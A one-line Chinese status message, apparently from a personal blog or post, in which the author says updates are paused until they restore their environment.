暂时先不更了…等环境被我恢复好了再继续吧hhh。